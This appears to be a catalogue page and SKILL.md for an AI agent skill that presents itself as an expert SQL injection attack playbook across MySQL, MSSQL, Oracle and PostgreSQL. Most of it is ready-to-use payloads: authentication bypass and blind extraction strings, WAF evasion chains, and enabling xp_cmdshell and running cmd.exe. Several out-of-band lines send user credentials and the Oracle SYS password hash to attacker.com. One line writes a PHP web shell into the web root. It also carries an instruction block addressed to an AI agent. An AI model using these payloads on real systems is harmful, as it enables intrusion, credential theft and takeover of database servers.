sqli-sql-injection
yaklang/hack-skills
Advanced SQL injection exploitation playbook for database attack scenarios.
What is sqli-sql-injection?
Expert-level SQL injection techniques covering UNION-based extraction, blind injection inference, out-of-band exfiltration, and database-specific exploitation paths. Use when user input reaches SQL queries, authentication logic, filtering, or reporting functions across MySQL, MSSQL, Oracle, and PostgreSQL.
- Detect SQL injection via behavioral indicators (response differences, error messages, timing)
- Fingerprint target database using version functions and error patterns
- Extract data via UNION-based queries with column enumeration and type detection
- Exploit blind injection through boolean conditionals and time-based delays
- Exfiltrate data out-of-band using MSSQL OpenRowSet, Oracle UTL_HTTP/UTL_INADDR, and DNS channels
- Bypass WAF filters and parameterized query protections with polyglot payloads
How to install sqli-sql-injection
npx skills add https://github.com/yaklang/hack-skills --skill sqli-sql-injection- Understanding of basic SQL syntax and database structure
- Ability to identify SQL injection entry points (URL parameters, POST fields, headers, JSON)
- Network access to target application and optional out-of-band listener (for OOB exfiltration)
- Knowledge of target DBMS type (MySQL, MSSQL, Oracle, PostgreSQL) or ability to fingerprint
How to use sqli-sql-injection
- 1.Test all parameter types (query strings, POST body, JSON, headers, cookies) with basic payloads like `'` and `' or 1=1--`
- 2.Fingerprint the database using DBMS-specific functions (VERSION(), @@VERSION, v$version, version())
- 3.Determine injection context: string-based, numeric, or blind by observing response differences
- 4.For visible output: enumerate column count with ORDER BY, then use UNION SELECT to extract data
- 5.For blind injection: use boolean conditionals (SUBSTRING comparisons) or time-based delays (SLEEP, WAITFOR, pg_sleep)
- 6.For restricted exfiltration: deploy out-of-band channels (MSSQL OpenRowSet, Oracle UTL_HTTP/UTL_INADDR, DNS via LOAD_FILE)
- 7.Load SCENARIOS.md for framework-specific exploitation (ThinkPHP, Django) and SQLMAP_ADVANCED.md for WAF bypass tamper chains
Use cases
- Penetration testing login forms vulnerable to authentication bypass via `' or 1=1--`
- Extracting user credentials from ORDER BY/sorting parameters in reporting interfaces
- Blind SQLi exploitation when no visible output but time delays are observable
- Out-of-band data exfiltration from Oracle databases via DNS queries when HTTP is blocked
- Second-order injection in frameworks like ThinkPHP5 and Django GIS
- Security researchers performing authorized penetration tests
- Red team operators targeting web applications with SQL backends
- Bug bounty hunters identifying database vulnerabilities
- DevSecOps engineers validating parameterized query implementations
sqli-sql-injection FAQ
Test with basic payloads: `'` (quote), `' or 1=1--` (boolean), and time delays like `SLEEP(5)`. Compare responses for differences in page content, error messages, HTTP status, or response time. Behavioral differences (not just errors) indicate vulnerability.
UNION-based injection returns data directly in the response by appending a SELECT statement. Blind injection has no visible output; you infer data through boolean conditionals (true/false responses) or time-based delays. Use UNION when you see query results; use blind when you don't.
Use OOB when UNION/blind are blocked or impractical: MSSQL with no outbound HTTP (use DNS), Oracle with HTTP restrictions (use UTL_INADDR DNS), or batch queries that can't return inline data. OOB is also faster for large data dumps.
Load SQLMAP_ADVANCED.md for tamper script chains (space2comment, between, charencode). Also check ghost-bits-cast-attack skill for Java Jackson Unicode bypass. Test polyglot payloads and whitespace-free variants.
First-order injection executes immediately in the same request. Second-order injection stores malicious input (e.g., in a database field) and executes later when that data is retrieved and used in a query. Use SQLMap's `--second-url` flag for second-order testing.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: sqli-sql-injection description: >- SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
SKILL: SQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.
0. RELATED ROUTING
- ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywords are WAF-blocked — Jackson's
charToHextable is indexed bych & 0xFF, so a Unicode character like丰(U+4E30) resolves to hex digit0inside a\uXXXXescape sequence, letting you smuggleUNION,SELECT,1, etc. without the WAF ever seeing them
1. QUICK START
Extended Scenarios
Also load SCENARIOS.md when you need:
- SMB out-of-band exfiltration via
LOAD_FILE+ UNC paths (Windows MySQL) - KEY injection / URI injection / non-parameter injection points
- INSERT/DELETE/UPDATE statement injection differences
- ThinkPHP5 array key injection (
updatexmlerror-based) - Django GIS Oracle
utl_inaddr.get_host_nameCVE - ORDER BY / LIMIT injection techniques
Advanced Reference
Also load SQLMAP_ADVANCED.md when you need:
- SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
--technique,--risk/--levelcombinations and--second-urlfor second-order injection--os-shell/--os-pwnOS-level exploitation via SQLMap- INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
- GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
- DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER
If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
First-pass payload families
| Situation | Start With | Why |
|---|---|---|
| Login or boolean branch | ' or 1=1-- | Fast signal on auth or conditional checks |
| Numeric parameter | 1 or 1=1 | Avoid quote dependency |
| ORDER BY / sorting | 1,2,3 then 1 desc-- | Good for structural probing |
| Visible SQL errors | ' then DBMS-specific error probes | Error text gives DBMS clues |
| No visible output | time-based payloads | Stable fallback for blind targets |
| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |
Small, stable first-pass set
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS routing hints
| Clue | Likely DBMS | Good Next Move |
|---|---|---|
You have an error in your SQL syntax | MySQL | try SLEEP() and @@version |
Microsoft OLE DB Provider | MSSQL | try WAITFOR DELAY |
PG:: / PostgreSQL | PostgreSQL | try pg_sleep() |
ORA- prefix | Oracle | pivot to out-of-band or XML features |
| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |
1. DETECTION — SUBTLE INDICATORS
Most SQLi is found by behavioral differences, not errors:
| Signal | Meaning |
|---|---|
Page loads differently with ' vs '' | String context injection point |
Numeric: 1 vs 1-1 vs 2-1 returns same | Arithmetic evaluated |
1=1 vs 1=2 in condition changes result | Boolean-based injection |
| SELECT with ORDER BY N: column count enumeration | UNION prep |
Time delay: '; WAITFOR DELAY '0:0:5'-- | Blind/time-based |
500 error on ', 200 on '' | Unhandled exception = SQLi |
| Different HTTP response size | Boolean blind indicator |
Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
2. DATABASE FINGERPRINTING
-- MySQL
VERSION() -- returns version string
@@datadir -- data directory
@@global.secure_file_priv -- file read restriction
-- MSSQL
@@VERSION -- includes "Microsoft SQL Server"
DB_NAME() -- current database
USER_NAME() -- current user
-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- current db (alternative)
user -- current Oracle user
-- PostgreSQL
version() -- returns version
current_database() -- current db
current_user -- current user
Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.
3. UNION-BASED DATA EXTRACTION
Column count determination:
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← until error = N-1 columns
Column type detection (NULL is safest):
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← find string column
Database-specific string concat (required when column accepts only int):
-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password
4. BLIND INJECTION — INFERENCE TECHNIQUES
Boolean Blind (conditional response difference)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
Time-Based Blind (no response difference)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
Use port 80 or 443 to bypass firewall egress restrictions.
Oracle — UTL_HTTP (HTTP GET with data in URL path)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.
Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...) -- send query results via email
-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — DNS via LOAD_FILE (Windows + UNC path)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE (in-band filesystem write)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
6. ESCALATION — OS COMMAND EXECUTION
MSSQL — xp_cmdshell (if enabled, or if sysadmin)
'; EXEC xp_cmdshell('whoami')--
-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF (User Defined Functions)
Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.
Oracle — Java Stored Procedures
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime
7. SECOND-ORDER INJECTION
Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.
Example attack flow:
- Register username:
admin'-- - Application safely inserts this into users table
- Password change function fetches username from session (trusted!) and builds:
UPDATE users SET password='newpass' WHERE username='admin'--' - Comment strips the condition → updates admin's password
Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
8. PARAMETERIZED QUERY BYPASS SCENARIOS
Parameterized queries do NOT prevent SQLi when:
-
Table/column names are user-controlled — params can't parameterize identifiers:
-- UNSAFE even with params: "SELECT * FROM " + tableName + " WHERE id = ?"Mitigation: whitelist-validate table/column names.
-
Partial parameterization — some fields concatenated, others parameterized:
"SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType not parameterized → injection -
IN clause with dynamic count (common mistake in ORMs):
SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized -
Second-order — data retrieved from DB assumed clean, re-used in query without params.
9. FILTER EVASION TECHNIQUES
Comment Injection (break keywords)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
Case Variation
UnIoN SeLeCt
URL Encoding
%55NION -- U
%53ELECT -- S
Whitespace Alternatives
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- tab
SELECT%0ausername%0aFROM%0ausers -- newline
String Construction (bypass literal-string detection)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101) -- 'username'
-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
10. DATABASE METADATA EXTRACTION
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U' -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
11. STORED PROCEDURE ABUSE
MSSQL — sp_OAMethod (COM automation)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
12. QUICK REFERENCE — INJECTION TEST STRINGS
' -- break string context
'' -- escaped quote (test handling)
' OR 1=1-- -- auth bypass attempt
' OR 'a'='a -- alternate auth bypass
'; SELECT 1-- -- statement termination
' UNION SELECT NULL-- -- UNION test
' AND 1=1-- -- boolean true
' AND 1=2-- -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)-- -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
13. WAF BYPASS MATRIX
| Technique | Blocked | Bypass |
|---|---|---|
| Space filtered | SELECT * FROM | SELECT/**/*//**/FROM, SELECT%0a*%0aFROM |
| Comma filtered | UNION SELECT 1,2,3 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c |
| Quote filtered | 'admin' | 0x61646D696E (hex), CHAR(97,100,109,105,110) |
| OR/AND filtered | OR 1=1 | <code>||1=1</code>, &&1=1, DIV 0 |
| = filtered | id=1 | id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1 |
| SELECT filtered | Use handler (MySQL), PREPARE+hex, or stacked queries | |
| information_schema filtered | mysql.innodb_table_stats, sys.schema_table_statistics |
Additional WAF bypass patterns:
- Polyglot:
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ - Routed injection:
1' UNION SELECT 0x(inner_payload_hex)-- -where inner payload is another full query hex-encoded - Second Order: inject into storage, trigger when data is used in another query later
- PDO emulated prepare: when
PDO::ATTR_EMULATE_PREPARES=true, stacked queries work even with parameterized-looking code
14. WAF BYPASS MATRIX
No-Space Bypass
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
No-Comma Bypass
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
Polyglot Injection
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
Routed Injection
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
Second-Order Injection
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO / Prepared Statement Edge Cases
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
Entry Point Detection (Unicode tricks)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '
Related skills
More from yaklang/hack-skills and the wider catalog.

ssrf-server-side-request-forgery
Expert SSRF attack playbook: URL filter bypass, cloud metadata, protocol exploitation, and blind detection.

ssti-server-side-template-injection
Expert SSTI detection, fingerprinting, and RCE exploitation across Jinja2, FreeMarker, Twig, Velocity, ERB, and more.

stack-overflow-and-rop
Exploit stack overflows via ROP chains, ret2libc, ret2csu, ret2dlresolve, and SROP on Linux binaries.

steganography-techniques
Detect and extract hidden data from images, audio, files, and text using systematic steganography analysis techniques.

subdomain-takeover
Detect and exploit dangling DNS records pointing to unclaimed cloud resources and SaaS tenants.

symbolic-execution-tools
Symbolic execution and constraint solving for CTF reversing, key recovery, and binary analysis with angr, Z3, and Unicorn.